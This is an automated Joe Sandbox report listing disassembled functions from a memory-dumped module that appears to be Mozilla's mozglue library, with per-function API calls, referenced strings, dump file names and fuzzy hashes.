String ID:
API String ID: 2745304114-0
Opcode ID: 045c4f15a4770853c4f8996c8ce95d0d195a56c449511c4ed12cf59a19a136e0
Instruction ID: 60bbd00096ed25f0cf54b8c1d5e8358909d16de93aac0b0293cb112ba039f7ec
Opcode Fuzzy Hash: 045c4f15a4770853c4f8996c8ce95d0d195a56c449511c4ed12cf59a19a136e0
Instruction Fuzzy Hash: F811B675B012199BCF00EFA4CC849AE7B78EF8E354F01052AE50697341EB30AD18CB95

Function 6C53F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C53F480

Part of subcall function 6C50F100: LoadLibraryW.KERNEL32(shell32,?,6C57D020), ref: 6C50F122
Part of subcall function 6C50F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C50F132

CloseHandle.KERNEL32(00000000), ref: 6C53F555

Part of subcall function 6C5114B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C511248,6C511248,?), ref: 6C5114C9
Part of subcall function 6C5114B0: memcpy.VCRUNTIME140(?,6C511248,00000000,?,6C511248,?), ref: 6C5114EF

Part of subcall function 6C50EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C50EEE3

CreateFileW.KERNEL32 ref: 6C53F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C53F523

Strings

\oleacc.dll, xrefs: 6C53F4CB

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 207b5469221a2e8dc7d97a24ecc44e30a5786e6d287ff0f88e52834a9c6006c5
Instruction ID: ac93b6b45dcba4c5f22a9d24361f5d6a1c9423d675dc302b23d6561a5a9af935
Opcode Fuzzy Hash: 207b5469221a2e8dc7d97a24ecc44e30a5786e6d287ff0f88e52834a9c6006c5
Instruction Fuzzy Hash: A7418E306097209FE720DF69CC84A9BB7F4AF85318F102B5CE59587651FB70D9498BA2

Function 6C54E020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C514A68), ref: 6C54945E
Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C549470
Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C549482
Part of subcall function 6C549420: __Init_thread_footer.LIBCMT ref: 6C54949F

GetCurrentThreadId.KERNEL32 ref: 6C54E047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C54E04F

Part of subcall function 6C5494D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5494EE
Part of subcall function 6C5494D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C549508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C54E09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C54E0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6C54E057

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: d62b1a476842cccde6a3af629f58f77ad8ff7aa200428ecb4890a8504c0f0a7e
Instruction ID: 47a2d2e2895de0d8c76c34440ce8c57dd9976ec844af5f19aa79d6116693db7b
Opcode Fuzzy Hash: d62b1a476842cccde6a3af629f58f77ad8ff7aa200428ecb4890a8504c0f0a7e
Instruction Fuzzy Hash: 2621BE74B011189FDF04EF64DC58AAEB7B9AF86309F158428E81A97740EB71A909C7A1

Function 6C5674A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C567526
__Init_thread_footer.LIBCMT ref: 6C567566
__Init_thread_footer.LIBCMT ref: 6C567597

Strings

UnmapViewOfFile2, xrefs: 6C567552
kernel32.dll, xrefs: 6C567557

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 9428756debe104d90208bfef30fdd366b561f236e644c6bcb6c82b0ff8e2cf12
Instruction ID: bc7d6ba5a281c63d3b290cbf7a255409cedd8248f040a28339cdcbe92951e410
Opcode Fuzzy Hash: 9428756debe104d90208bfef30fdd366b561f236e644c6bcb6c82b0ff8e2cf12
Instruction Fuzzy Hash: C1210731702521DBEE14CFEACC58E593375EB8B3A5F121669D806C7F90DB30AC01C699

Function 6C56A7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C58F770,-00000001,?,6C57E330,?,6C52BDF7), ref: 6C56A7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C52BDF7), ref: 6C56A7C2
moz_xmalloc.MOZGLUE(00000018,?,6C52BDF7), ref: 6C56A7E4
LeaveCriticalSection.KERNEL32(6C58F770), ref: 6C56A80A

Strings

accelerator.dll, xrefs: 6C56A7BF

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: 5ab5424879fdc3bcd7229cf2b1bb9b2fc0909a88c1efbb78e19d38b7da3e1ff5
Instruction ID: 8844c86ab4978fd5624d66f538fe0f3746412248071fc2bad734dc17eb31116a
Opcode Fuzzy Hash: 5ab5424879fdc3bcd7229cf2b1bb9b2fc0909a88c1efbb78e19d38b7da3e1ff5
Instruction Fuzzy Hash: C2018F706013249FAF04DF5ADC84C11B7B8FB8A314705816AE809CBB22DB70AC00CBA0

Function 6C5675B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C56748B,?), ref: 6C5675B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C5675D7
FreeLibrary.KERNEL32(?,6C56748B,?), ref: 6C5675EC

Strings

RtlNtStatusToDosError, xrefs: 6C5675D1
ntdll.dll, xrefs: 6C5675B3

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 50601ddcd9b3b15947812bd0f8c70c79ca389df3805b3c8397d83de405234edc
Instruction ID: ef02842769be2609eb3c46a00adfe9cef3217c2d04e38d1c090de0dfeff08a4f
Opcode Fuzzy Hash: 50601ddcd9b3b15947812bd0f8c70c79ca389df3805b3c8397d83de405234edc
Instruction Fuzzy Hash: FBE09A71603321AFFF006BA2CC487027AFCE74B354F526625E905D1A11DB748045CF28

Function 6C567600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C567592), ref: 6C567608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C567627
FreeLibrary.KERNEL32(?,6C567592), ref: 6C56763C

Strings

NtUnmapViewOfSection, xrefs: 6C567621
ntdll.dll, xrefs: 6C567603

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 74f572a95502c70fc946e629fc43677c22b5183fe80c6fabec98f481b3481231
Instruction ID: a9d84c9aab662d40ad5b1a5e3a4c19888ddb6d4daf7fe9b149e6ee0a1b649f67
Opcode Fuzzy Hash: 74f572a95502c70fc946e629fc43677c22b5183fe80c6fabec98f481b3481231
Instruction Fuzzy Hash: 77E09A706033219BFF006BA68C087057ABCE71F399F02A715E906D1A10D77080088B2C

Function 6C56BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C56BE49), ref: 6C56BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C56BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C56BE49), ref: 6C56BF38
RtlReAllocateHeap.NTDLL ref: 6C56BF83
RtlFreeHeap.NTDLL(6C56BE49,00000000), ref: 6C56BFA6

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: dc4120a6b4e304d58a670b4c7c0903a605fb61e2f221c1054a5d1696bfc7735b
Instruction ID: 6ee5c62a6bc439b97c7527406671de80677ae90b39713f48e4613842edadec4c
Opcode Fuzzy Hash: dc4120a6b4e304d58a670b4c7c0903a605fb61e2f221c1054a5d1696bfc7735b
Instruction Fuzzy Hash: B8518E71A002058BE710DF6ACD80BAAB3A6BFC8314F294639E555A7F64D730F9469B90

Function 6C558E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C54B58D,?,?,?,?,?,?,?,6C57D734,?,?,?,6C57D734), ref: 6C558E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C54B58D,?,?,?,?,?,?,?,6C57D734,?,?,?,6C57D734), ref: 6C558EBF
free.MOZGLUE(?,?,?,?,6C54B58D,?,?,?,?,?,?,?,6C57D734,?,?,?), ref: 6C558F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C54B58D,?,?,?,?,?,?,?,6C57D734,?,?,?,6C57D734), ref: 6C558F46
free.MOZGLUE(?,?,?,?,6C54B58D,?,?,?,?,?,?,?,6C57D734,?,?,?), ref: 6C558F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C54B58D,?,?,?,?,?,?,?,6C57D734,?,?,?), ref: 6C558F8F

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: e8ad1e716398213d814069d086e9f0896f8cf958b378a693ec93fa0b9304705c
Instruction ID: 2190813a343d151b4365c0dc257c2050ec62f45eda1c8cfcd361e43725a0006e
Opcode Fuzzy Hash: e8ad1e716398213d814069d086e9f0896f8cf958b378a693ec93fa0b9304705c
Instruction Fuzzy Hash: DE51A2B1A112168FEB14CF54DC8076E73B2BF49308F55056BD516ABB40E732F914CB92

Function 6C5527E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C552620,?,?,?,6C5460AA,6C545FCB,6C5479A3), ref: 6C55284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C552620,?,?,?,6C5460AA,6C545FCB,6C5479A3), ref: 6C55289A
free.MOZGLUE(?,?,?,6C552620,?,?,?,6C5460AA,6C545FCB,6C5479A3), ref: 6C5528F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C552620,?,?,?,6C5460AA,6C545FCB,6C5479A3), ref: 6C552910
free.MOZGLUE(00000001,?,?,6C552620,?,?,?,6C5460AA,6C545FCB,6C5479A3), ref: 6C55293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C552620,?,?,?,6C5460AA,6C545FCB,6C5479A3), ref: 6C55294E

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: bb6dd08432f2ccc27cb75fd2b92b296300851d750e8f902ce706524b8e3ba87b
Instruction ID: d51ca521e03c4b4fc2a6790d30e144239063139a2785775f5e5dab0b275eb2e4
Opcode Fuzzy Hash: bb6dd08432f2ccc27cb75fd2b92b296300851d750e8f902ce706524b8e3ba87b
Instruction Fuzzy Hash: C241BCF1A002068FEB10CF68DC8876A73F6AB45308F65492AD556EB740E731F954CBA2

Function 6C50CFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C58E784), ref: 6C50CFF6
LeaveCriticalSection.KERNEL32(6C58E784), ref: 6C50D026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C50D06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C50D139

Strings

MOZ_CRASH(), xrefs: 6C50D187

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: 4a950a20b10bd48daccb6a859f790eb07778abf593de3b46c05d6257d643052a
Instruction ID: 2cd04d50d48fe7d4b5ed2fbaabff8fb944a3f0c45858358f09f6390541ad82a1
Opcode Fuzzy Hash: 4a950a20b10bd48daccb6a859f790eb07778abf593de3b46c05d6257d643052a
Instruction Fuzzy Hash: C041A176B023265FDF04DE7C8C9136A76B4EB4A714F160239E918E7785E7B19C008BD8

Function 6C504DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C504E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C504E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C504EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C504F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C504F1E

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 9be552babf7d6baf2ea6cb4dc083b4610eea7ddebc821ae4be942c0c3a3d61cc
Instruction ID: 02302f56c0fb2d878d9cca0f8e330236f1079b46762cd4d0ea2f58ec1d320b4f
Opcode Fuzzy Hash: 9be552babf7d6baf2ea6cb4dc083b4610eea7ddebc821ae4be942c0c3a3d61cc
Instruction Fuzzy Hash: 6341DF71608701DFC705CF29C88095BB7E4BF99344F108A2DF86687B41DB70E958CB92

Function 6C511530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C51152B,?,?,?,?,6C511248,?), ref: 6C51159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C51152B,?,?,?,?,6C511248,?), ref: 6C5115BC
moz_xmalloc.MOZGLUE(-00000001,?,6C51152B,?,?,?,?,6C511248,?), ref: 6C5115E7
free.MOZGLUE(?,?,?,?,?,?,6C51152B,?,?,?,?,6C511248,?), ref: 6C511606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C51152B,?,?,?,?,6C511248,?), ref: 6C511637

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 03d1e1570ea252f9513c7ce82e0c1cd4fbc52a0989694d08ef0075b7ad405000
Instruction ID: 82dbf5d7e61f870bcef09915165b2bceaca05ee039b9aa5ed2099136d39587e5
Opcode Fuzzy Hash: 03d1e1570ea252f9513c7ce82e0c1cd4fbc52a0989694d08ef0075b7ad405000
Instruction Fuzzy Hash: 6E31E472A081148BEB18DE78DC5846F73E9EB913647290BADE423DBFD4EB31D9048791

Function 6C56AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C57E330,?,6C52C059), ref: 6C56AD9D

Part of subcall function 6C51CA10: malloc.MOZGLUE(?), ref: 6C51CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C57E330,?,6C52C059), ref: 6C56ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C57E330,?,6C52C059), ref: 6C56AE01
GetLastError.KERNEL32(?,00000000,?,?,6C57E330,?,6C52C059), ref: 6C56AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C57E330,?,6C52C059), ref: 6C56AE3D

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: c3e3e8414c7dbef0da83deb2406d2f6d8a0b1e4bf4122abdcb4aafe6d23a4b0d
Instruction ID: 1fd9ec16cab5986a8be7ac8155df5635e5cdf8c72d4be2c4fa0d45890a721d5d
Opcode Fuzzy Hash: c3e3e8414c7dbef0da83deb2406d2f6d8a0b1e4bf4122abdcb4aafe6d23a4b0d
Instruction Fuzzy Hash: AF3132B1A012259FDB10DF768C44AABB7F8EF89614F554829E85AD7710E734EC44CBB0

Function 6C565EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C57DCA0,?,?,?,6C53E8B5,00000000), ref: 6C565F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C53E8B5,00000000), ref: 6C565F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C53E8B5,00000000), ref: 6C565F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C53E8B5,00000000), ref: 6C565F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C53E8B5,00000000), ref: 6C565FD6

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 753269cf597ea3ab87197b853cd75ece0baaaa37f690a3fac9c49c2c4d61614f
Instruction ID: c79982b25b0104a30ffaf31a7cc84ed4df265ddc45396cdc55412b2327ca6af6
Opcode Fuzzy Hash: 753269cf597ea3ab87197b853cd75ece0baaaa37f690a3fac9c49c2c4d61614f
Instruction Fuzzy Hash: D0314E743416009FD710DF2ACC98E2AB7F9FF89318BA54958E55687BA6C771EC41CB80

Function 6C50B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C50B532
moz_xmalloc.MOZGLUE(?), ref: 6C50B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C50B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C50B57E
free.MOZGLUE(00000000), ref: 6C50B58F

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: edad7a982fbc4a253be58e64734421b629898144fcfead188a5b76f06c7a5218
Instruction ID: 1aeff099bcd1577b324898608d2ec0ab5d8194333fce28b0443a0b40d41923c9
Opcode Fuzzy Hash: edad7a982fbc4a253be58e64734421b629898144fcfead188a5b76f06c7a5218
Instruction Fuzzy Hash: EB21F871B002059BDB00DF64CC80B6ABBB9FF86308F244169E814DB342F735D951C7A1

Function 6C50B7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C50B7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C50B808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C50B82C
